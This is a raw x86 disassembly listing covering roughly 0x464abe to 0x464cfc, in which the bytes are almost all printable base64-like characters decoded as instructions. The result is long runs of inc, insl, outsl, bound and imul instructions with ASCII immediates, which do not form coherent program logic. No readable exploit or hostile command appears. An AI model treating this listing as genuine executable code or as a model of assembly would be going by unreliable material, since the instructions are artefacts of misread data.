464abe:	41                   	inc    %ecx
464abf:	43                   	inc    %ebx
464ac0:	69 56 2b 51 51 41 41 	imul   $0x41415151,0x2b(%esi),%edx
464ac7:	43                   	inc    %ebx
464ac8:	76 34                	jbe    0x464afe
464aca:	4d                   	dec    %ebp
464acb:	44                   	inc    %esp
464acc:	51                   	push   %ecx
464acd:	42                   	inc    %edx
464ace:	76 50                	jbe    0x464b20
464ad0:	41                   	inc    %ecx
464ad1:	41                   	inc    %ecx
464ad2:	41                   	inc    %ecx
464ad3:	43                   	inc    %ebx
464ad4:	69 56 2b 56 67 41 41 	imul   $0x41416756,0x2b(%esi),%edx
464adb:	43                   	inc    %ebx
464adc:	6d                   	insl   (%dx),%es:(%edi)
464add:	38 36                	cmp    %dh,(%esi)
464adf:	41                   	inc    %ecx
464ae0:	41                   	inc    %ecx
464ae1:	41                   	inc    %ecx
464ae2:	4b                   	dec    %ebx
464ae3:	4a                   	dec    %edx
464ae4:	58                   	pop    %eax
464ae5:	34 33                	xor    $0x33,%al
464ae7:	41                   	inc    %ecx
464ae8:	41                   	inc    %ecx
464ae9:	41                   	inc    %ecx
464aea:	4b                   	dec    %ebx
464aeb:	49                   	dec    %ecx
464aec:	46                   	inc    %esi
464aed:	47                   	inc    %edi
464aee:	30 64 69 56          	xor    %ah,0x56(%ecx,%ebp,2)
464af2:	6c                   	insb   (%dx),%es:(%edi)
464af3:	49                   	dec    %ecx
464af4:	4b                   	dec    %ebx
464af5:	66 30 56 67          	data16 xor %dl,0x67(%esi)
464af9:	35 59 5a 53 42       	xor    $0x42535a59,%eax
464afe:	57                   	push   %edi
464aff:	76 47                	jbe    0x464b48
464b01:	76 62                	jbe    0x464b65
464b03:	57                   	push   %edi
464b04:	47                   	inc    %edi
464b05:	56                   	push   %esi
464b06:	6d                   	insl   (%dx),%es:(%edi)
464b07:	5a                   	pop    %edx
464b08:	53                   	push   %ebx
464b09:	44                   	inc    %esp
464b0a:	49                   	dec    %ecx
464b0b:	67 33 51 4e          	xor    0x4e(%bx,%di),%edx
464b0f:	57                   	push   %edi
464b10:	57                   	push   %edi
464b11:	38 34 41             	cmp    %dh,(%ecx,%eax,2)
464b14:	41                   	inc    %ecx
464b15:	41                   	inc    %ecx
464b16:	4b                   	dec    %ebx
464b17:	4a                   	dec    %edx
464b18:	58                   	pop    %eax
464b19:	35 58 41 41 41       	xor    $0x41414158,%eax
464b1e:	4b                   	dec    %ebx
464b1f:	62 7a 6f             	bound  %edi,0x6f(%edx)
464b22:	41                   	inc    %ecx
464b23:	41                   	inc    %ecx
464b24:	41                   	inc    %ecx
464b25:	6f                   	outsl  %ds:(%esi),(%dx)
464b26:	6c                   	insb   (%dx),%es:(%edi)
464b27:	66 6c                	data16 insb (%dx),%es:(%edi)
464b29:	51                   	push   %ecx
464b2a:	41                   	inc    %ecx
464b2b:	41                   	inc    %ecx
464b2c:	41                   	inc    %ecx
464b2d:	70 76                	jo     0x464ba5
464b2f:	4f                   	dec    %edi
464b30:	67 41                	addr16 inc %ecx
464b32:	41                   	inc    %ecx
464b33:	43                   	inc    %ebx
464b34:	69 56 2b 57 41 41 41 	imul   $0x41414157,0x2b(%esi),%edx
464b3b:	43                   	inc    %ebx
464b3c:	6d                   	insl   (%dx),%es:(%edi)
464b3d:	38 36                	cmp    %dh,(%esi)
464b3f:	41                   	inc    %ecx
464b40:	41                   	inc    %ecx
464b41:	41                   	inc    %ecx
464b42:	4b                   	dec    %ebx
464b43:	4a                   	dec    %edx
464b44:	58                   	pop    %eax
464b45:	35 53 41 41 41       	xor    $0x41414153,%eax
464b4a:	4b                   	dec    %ebx
464b4b:	30 42 59             	xor    %al,0x59(%edx)
464b4e:	41                   	inc    %ecx
464b4f:	41                   	inc    %ecx
464b50:	41                   	inc    %ecx
464b51:	45                   	inc    %ebp
464b52:	6f                   	outsl  %ds:(%esi),(%dx)
464b53:	4a                   	dec    %edx
464b54:	77 41                	ja     0x464b97
464b56:	41                   	inc    %ecx
464b57:	43                   	inc    %ebx
464b58:	6d                   	insl   (%dx),%es:(%edi)
464b59:	39 54 41 41          	cmp    %edx,0x41(%ecx,%eax,2)
464b5d:	41                   	inc    %ecx
464b5e:	4b                   	dec    %ebx
464b5f:	4a                   	dec    %edx
464b60:	58                   	pop    %eax
464b61:	35 52 41 41 41       	xor    $0x41414152,%eax
464b66:	4b                   	dec    %ebx
464b67:	62 7a 6f             	bound  %edi,0x6f(%edx)
464b6a:	41                   	inc    %ecx
464b6b:	41                   	inc    %ecx
464b6c:	41                   	inc    %ecx
464b6d:	6f                   	outsl  %ds:(%esi),(%dx)
464b6e:	6c                   	insb   (%dx),%es:(%edi)
464b6f:	66 6b 45 41 41       	imul   $0x41,0x41(%ebp),%ax
464b74:	41                   	inc    %ecx
464b75:	72 2b                	jb     0x464ba2
464b77:	44                   	inc    %esp
464b78:	41                   	inc    %ecx
464b79:	73 41                	jae    0x464bbc
464b7b:	62 7a 77             	bound  %edi,0x77(%edx)
464b7e:	41                   	inc    %ecx
464b7f:	41                   	inc    %ecx
464b80:	41                   	inc    %ecx
464b81:	6f                   	outsl  %ds:(%esi),(%dx)
464b82:	6c                   	insb   (%dx),%es:(%edi)
464b83:	66 6b 45 41 41       	imul   $0x41,0x41(%ebp),%ax
464b88:	41                   	inc    %ecx
464b89:	72 2b                	jb     0x464bb6
464b8b:	44                   	inc    %esp
464b8c:	41                   	inc    %ecx
464b8d:	77 41                	ja     0x464bd0
464b8f:	62 7a 77             	bound  %edi,0x77(%edx)
464b92:	41                   	inc    %ecx
464b93:	41                   	inc    %ecx
464b94:	41                   	inc    %ecx
464b95:	6f                   	outsl  %ds:(%esi),(%dx)
464b96:	6c                   	insb   (%dx),%es:(%edi)
464b97:	2f                   	das
464b98:	67 77 54             	addr16 ja 0x464bef
464b9b:	41                   	inc    %ecx
464b9c:	47                   	inc    %edi
464b9d:	39 4b 41             	cmp    %ecx,0x41(%ebx)
464ba0:	41                   	inc    %ecx
464ba1:	41                   	inc    %ecx
464ba2:	4b                   	dec    %ebx
464ba3:	4a                   	dec    %edx
464ba4:	58                   	pop    %eax
464ba5:	35 4d 41 41 41       	xor    $0x4141414d,%eax
464baa:	4b                   	dec    %ebx
464bab:	62 7a 6f             	bound  %edi,0x6f(%edx)
464bae:	41                   	inc    %ecx
464baf:	41                   	inc    %ecx
464bb0:	41                   	inc    %ecx
464bb1:	6f                   	outsl  %ds:(%esi),(%dx)
464bb2:	6c                   	insb   (%dx),%es:(%edi)
464bb3:	66 6b 45 41 41       	imul   $0x41,0x41(%ebp),%ax
464bb8:	41                   	inc    %ecx
464bb9:	72 2b                	jb     0x464be6
464bbb:	44                   	inc    %esp
464bbc:	41                   	inc    %ecx
464bbd:	30 41 62             	xor    %al,0x62(%ecx)
464bc0:	7a 77                	jp     0x464c39
464bc2:	41                   	inc    %ecx
464bc3:	41                   	inc    %ecx
464bc4:	41                   	inc    %ecx
464bc5:	6f                   	outsl  %ds:(%esi),(%dx)
464bc6:	6c                   	insb   (%dx),%es:(%edi)
464bc7:	66 6c                	data16 insb (%dx),%es:(%edi)
464bc9:	6b 41 41 41          	imul   $0x41,0x41(%ecx),%eax
464bcd:	70 76                	jo     0x464c45
464bcf:	4f                   	dec    %edi
464bd0:	67 41                	addr16 inc %ecx
464bd2:	41                   	inc    %ecx
464bd3:	43                   	inc    %ebx
464bd4:	69 56 2b 57 67 41 41 	imul   $0x41416757,0x2b(%esi),%edx
464bdb:	43                   	inc    %ebx
464bdc:	76 34                	jbe    0x464c12
464bde:	4d                   	dec    %ebp
464bdf:	46                   	inc    %esi
464be0:	41                   	inc    %ecx
464be1:	42                   	inc    %edx
464be2:	76 51                	jbe    0x464c35
464be4:	41                   	inc    %ecx
464be5:	41                   	inc    %ecx
464be6:	41                   	inc    %ecx
464be7:	43                   	inc    %ebx
464be8:	69 58 2b 44 42 49 41 	imul   $0x41494244,0x2b(%eax),%ebx
464bef:	62 30                	bound  %esi,(%eax)
464bf1:	6f                   	outsl  %ds:(%esi),(%dx)
464bf2:	41                   	inc    %ecx
464bf3:	41                   	inc    %ecx
464bf4:	41                   	inc    %ecx
464bf5:	6f                   	outsl  %ds:(%esi),(%dx)
464bf6:	6c                   	insb   (%dx),%es:(%edi)
464bf7:	66 6a 73             	pushw  $0x73
464bfa:	41                   	inc    %ecx
464bfb:	41                   	inc    %ecx
464bfc:	41                   	inc    %ecx
464bfd:	72 2b                	jb     0x464c2a
464bff:	44                   	inc    %esp
464c00:	41                   	inc    %ecx
464c01:	34 41                	xor    $0x41,%al
464c03:	62 7a 77             	bound  %edi,0x77(%edx)
464c06:	41                   	inc    %ecx
464c07:	41                   	inc    %ecx
464c08:	41                   	inc    %ecx
464c09:	6f                   	outsl  %ds:(%esi),(%dx)
464c0a:	6c                   	insb   (%dx),%es:(%edi)
464c0b:	66 6b 4d 41 41       	imul   $0x41,0x41(%ebp),%cx
464c10:	41                   	inc    %ecx
464c11:	6f                   	outsl  %ds:(%esi),(%dx)
464c12:	67 47                	addr16 inc %edi
464c14:	4c                   	dec    %esp
464c15:	6d                   	insl   (%dx),%es:(%edi)
464c16:	6d                   	insl   (%dx),%es:(%edi)
464c17:	4d                   	dec    %ebp
464c18:	43                   	inc    %ebx
464c19:	42                   	inc    %edx
464c1a:	48                   	dec    %eax
464c1b:	63 59 49             	arpl   %ebx,0x49(%ecx)
464c1e:	45                   	inc    %ebp
464c1f:	57                   	push   %edi
464c20:	53                   	push   %ebx
464c21:	44                   	inc    %esp
464c22:	67 65 37             	addr16 gs aaa
464c25:	33 69 57             	xor    0x57(%ecx),%ebp
464c28:	43                   	inc    %ebx
464c29:	44                   	inc    %esp
464c2a:	4d                   	dec    %ebp
464c2b:	32 34 44             	xor    (%esp,%eax,2),%dh
464c2e:	73 59                	jae    0x464c89
464c30:	57                   	push   %edi
464c31:	59                   	pop    %ecx
464c32:	67 68 2b 65 65 48    	addr16 push $0x4865652b
464c38:	57                   	push   %edi
464c39:	46                   	inc    %esi
464c3a:	76 4f                	jbe    0x464c8b
464c3c:	41                   	inc    %ecx
464c3d:	41                   	inc    %ecx
464c3e:	41                   	inc    %ecx
464c3f:	43                   	inc    %ebx
464c40:	69 56 2b 51 77 41 41 	imul   $0x41417751,0x2b(%esi),%edx
464c47:	43                   	inc    %ebx
464c48:	69 43 68 49 38 33 7a 	imul   $0x7a333849,0x68(%ebx),%eax
464c4f:	49                   	dec    %ecx
464c50:	48                   	dec    %eax
464c51:	53                   	push   %ebx
464c52:	36 57                	ss push %edi
464c54:	76 35                	jbe    0x464c8b
464c56:	68 49 41 45 41       	push   $0x41454149
464c5b:	41                   	inc    %ecx
464c5c:	41                   	inc    %ecx
464c5d:	42                   	inc    %edx
464c5e:	69 49 4b 59 7a 4c 78 	imul   $0x784c7a59,0x4b(%ecx),%ecx
464c65:	74 5a                	je     0x464cc1
464c67:	62 7a 67             	bound  %edi,0x67(%edx)
464c6a:	41                   	inc    %ecx
464c6b:	41                   	inc    %ecx
464c6c:	41                   	inc    %ecx
464c6d:	6f                   	outsl  %ds:(%esi),(%dx)
464c6e:	6c                   	insb   (%dx),%es:(%edi)
464c6f:	66 6b 45 41 41       	imul   $0x41,0x41(%ebp),%ax
464c74:	41                   	inc    %ecx
464c75:	72 2b                	jb     0x464ca2
464c77:	44                   	inc    %esp
464c78:	41                   	inc    %ecx
464c79:	38 41 62             	cmp    %al,0x62(%ecx)
464c7c:	7a 77                	jp     0x464cf5
464c7e:	41                   	inc    %ecx
464c7f:	41                   	inc    %ecx
464c80:	41                   	inc    %ecx
464c81:	6f                   	outsl  %ds:(%esi),(%dx)
464c82:	6c                   	insb   (%dx),%es:(%edi)
464c83:	66 6b 4d 41 41       	imul   $0x41,0x41(%ebp),%cx
464c88:	41                   	inc    %ecx
464c89:	6f                   	outsl  %ds:(%esi),(%dx)
464c8a:	67 4d                	addr16 dec %ebp
464c8c:	4e                   	dec    %esi
464c8d:	6c                   	insb   (%dx),%es:(%edi)
464c8e:	30 30                	xor    %dh,(%eax)
464c90:	47                   	inc    %edi
464c91:	55                   	push   %ebp
464c92:	67 38 4b 4b          	cmp    %cl,0x4b(%bp,%di)
464c96:	36 43                	ss inc %ebx
464c98:	57                   	push   %edi
464c99:	45                   	inc    %ebp
464c9a:	67 41                	addr16 inc %ecx
464c9c:	78 48                	js     0x464ce6
464c9e:	31 43 6c             	xor    %eax,0x6c(%ebx)
464ca1:	6c                   	insb   (%dx),%es:(%edi)
464ca2:	6c                   	insb   (%dx),%es:(%edi)
464ca3:	49                   	dec    %ecx
464ca4:	42                   	inc    %edx
464ca5:	68 7a 50 42 74       	push   $0x7442507a
464caa:	68 5a 57 38 34       	push   $0x3438575a
464caf:	41                   	inc    %ecx
464cb0:	41                   	inc    %ecx
464cb1:	41                   	inc    %ecx
464cb2:	4b                   	dec    %ebx
464cb3:	66 6c                	data16 insb (%dx),%es:(%edi)
464cb5:	73 41                	jae    0x464cf8
464cb7:	41                   	inc    %ecx
464cb8:	41                   	inc    %ecx
464cb9:	70 76                	jo     0x464d31
464cbb:	4f                   	dec    %edi
464cbc:	67 41                	addr16 inc %ecx
464cbe:	41                   	inc    %ecx
464cbf:	43                   	inc    %ebx
464cc0:	6a 67                	push   $0x67
464cc2:	4a                   	dec    %edx
464cc3:	41                   	inc    %ecx
464cc4:	41                   	inc    %ecx
464cc5:	41                   	inc    %ecx
464cc6:	41                   	inc    %ecx
464cc7:	2f                   	das
464cc8:	67 34 57             	addr16 xor $0x57,%al
464ccb:	41                   	inc    %ecx
464ccc:	44                   	inc    %esp
464ccd:	68 4e 32 50 2f       	push   $0x2f50324e
464cd2:	2f                   	das
464cd3:	2f                   	das
464cd4:	67 77 44             	addr16 ja 0x464d1b
464cd7:	41                   	inc    %ecx
464cd8:	43                   	inc    %ebx
464cd9:	6f                   	outsl  %ds:(%esi),(%dx)
464cda:	41                   	inc    %ecx
464cdb:	41                   	inc    %ecx
464cdc:	41                   	inc    %ecx
464cdd:	41                   	inc    %ecx
464cde:	54                   	push   %esp
464cdf:	4d                   	dec    %ebp
464ce0:	41                   	inc    %ecx
464ce1:	6b 41 35 51          	imul   $0x51,0x35(%ecx),%eax
464ce5:	41                   	inc    %ecx
464ce6:	41                   	inc    %ecx
464ce7:	41                   	inc    %ecx
464ce8:	41                   	inc    %ecx
464ce9:	6b 41 41 42          	imul   $0x42,0x41(%ecx),%eax
464ced:	45                   	inc    %ebp
464cee:	6f                   	outsl  %ds:(%esi),(%dx)
464cef:	49                   	dec    %ecx
464cf0:	67 41                	addr16 inc %ecx
464cf2:	41                   	inc    %ecx
464cf3:	43                   	inc    %ebx
464cf4:	6e                   	outsb  %ds:(%esi),(%dx)
464cf5:	4e                   	dec    %esi
464cf6:	63 41 41             	arpl   %eax,0x41(%ecx)
464cf9:	41                   	inc    %ecx
464cfa:	4b                   	dec    %ebx
464cfb:	2f                   	das
464cfc:	67 34 41             	addr16 xor $0x41,%al